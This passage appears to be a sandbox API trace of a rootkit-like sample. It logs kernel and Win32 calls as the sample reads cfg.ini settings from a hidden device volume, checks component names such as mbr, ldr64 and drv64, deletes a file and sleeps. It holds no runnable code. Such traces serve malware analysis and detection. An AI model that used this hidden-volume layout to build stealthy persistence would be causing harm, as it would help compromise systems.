FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.901] KeLeaveCriticalRegion () [0129.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.901] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.901] KeEnterCriticalRegion () [0129.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.901] ExFreePoolWithTag (P=0xfffffa8003c07230, Tag=0x0) [0129.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.901] KeLeaveCriticalRegion () [0129.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.902] ReleaseMutex (hMutex=0xf0) returned 1 [0129.902] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.902] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.902] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.902] KeEnterCriticalRegion () [0129.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.902] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.902] IdePortDispatch () returned 0x103 [0129.902] KeWaitForMutexObject () returned 0x0 [0129.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.902] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.902] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.902] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.902] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.902] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.902] KeLeaveCriticalRegion () [0129.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.902] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.902] KeEnterCriticalRegion () [0129.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.902] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.902] KeLeaveCriticalRegion () [0129.902] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.902] KeEnterCriticalRegion () [0129.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.902] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.902] IdePortDispatch () returned 0x103 [0129.903] KeWaitForMutexObject () returned 0x0 [0129.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.903] KeLeaveCriticalRegion () [0129.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.903] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.903] KeEnterCriticalRegion () [0129.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cee000 [0129.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.903] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.903] IdePortDispatch () returned 0x103 [0129.903] KeWaitForMutexObject () returned 0x0 [0129.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.903] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.903] IdePortDispatch () returned 0x103 [0129.903] KeWaitForMutexObject () returned 0x0 [0129.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.903] KeLeaveCriticalRegion () [0129.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.904] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.904] KeEnterCriticalRegion () [0129.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.904] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.904] KeLeaveCriticalRegion () [0129.904] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.904] KeEnterCriticalRegion () [0129.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.904] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.904] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.904] KeLeaveCriticalRegion () [0129.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.904] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.904] KeEnterCriticalRegion () [0129.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.904] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.904] KeLeaveCriticalRegion () [0129.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.904] ReleaseMutex (hMutex=0xf0) returned 1 [0129.904] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.904] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.904] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.905] KeEnterCriticalRegion () [0129.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.905] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.905] IdePortDispatch () returned 0x103 [0129.905] KeWaitForMutexObject () returned 0x0 [0129.905] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.905] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.905] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.905] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.905] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.905] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c077d0 [0129.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.905] KeLeaveCriticalRegion () [0129.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.905] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.905] KeEnterCriticalRegion () [0129.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.905] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.905] KeLeaveCriticalRegion () [0129.905] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.905] KeEnterCriticalRegion () [0129.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.905] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.905] IdePortDispatch () returned 0x103 [0129.905] KeWaitForMutexObject () returned 0x0 [0129.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.906] KeLeaveCriticalRegion () [0129.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.906] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.906] KeEnterCriticalRegion () [0129.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.906] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cef000 [0129.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.906] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.906] IdePortDispatch () returned 0x103 [0129.906] KeWaitForMutexObject () returned 0x0 [0129.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.906] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.906] IdePortDispatch () returned 0x103 [0129.906] KeWaitForMutexObject () returned 0x0 [0129.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.906] KeLeaveCriticalRegion () [0129.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.907] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.907] KeEnterCriticalRegion () [0129.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.907] KeLeaveCriticalRegion () [0129.907] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.907] KeEnterCriticalRegion () [0129.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.907] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.907] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07890, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.907] KeLeaveCriticalRegion () [0129.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.907] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.907] KeEnterCriticalRegion () [0129.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.907] ExFreePoolWithTag (P=0xfffffa8003c077d0, Tag=0x0) [0129.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.907] KeLeaveCriticalRegion () [0129.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.907] ReleaseMutex (hMutex=0xf0) returned 1 [0129.907] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.907] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.907] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.907] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.907] KeEnterCriticalRegion () [0129.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.908] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.908] IdePortDispatch () returned 0x103 [0129.908] KeWaitForMutexObject () returned 0x0 [0129.908] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.908] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.908] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.908] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.908] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.908] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.908] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.908] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.908] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.908] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.908] KeLeaveCriticalRegion () [0129.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.908] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.908] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.908] KeEnterCriticalRegion () [0129.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.908] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.908] IdePortDispatch () returned 0x103 [0129.908] KeWaitForMutexObject () returned 0x0 [0129.909] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.909] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.909] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.909] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.909] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.909] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.909] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.909] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.909] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.909] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.909] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.909] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.909] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.909] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.909] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.909] KeLeaveCriticalRegion () [0129.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.909] ReleaseMutex (hMutex=0x100) returned 1 [0129.909] Sleep (dwMilliseconds=0x2bf20) [0129.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70a1d2d0, dwHighDateTime=0x1d24fa4)) [0129.915] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.915] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.915] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.915] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.915] KeEnterCriticalRegion () [0129.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.915] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.915] IdePortDispatch () returned 0x103 [0129.915] KeWaitForMutexObject () returned 0x0 [0129.916] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.916] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.916] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.916] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.916] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.916] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08d10 [0129.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.916] KeLeaveCriticalRegion () [0129.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.916] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.916] KeEnterCriticalRegion () [0129.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.916] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.916] KeLeaveCriticalRegion () [0129.916] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.916] KeEnterCriticalRegion () [0129.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.916] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.916] IdePortDispatch () returned 0x103 [0129.916] KeWaitForMutexObject () returned 0x0 [0129.916] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.916] KeLeaveCriticalRegion () [0129.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.916] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | 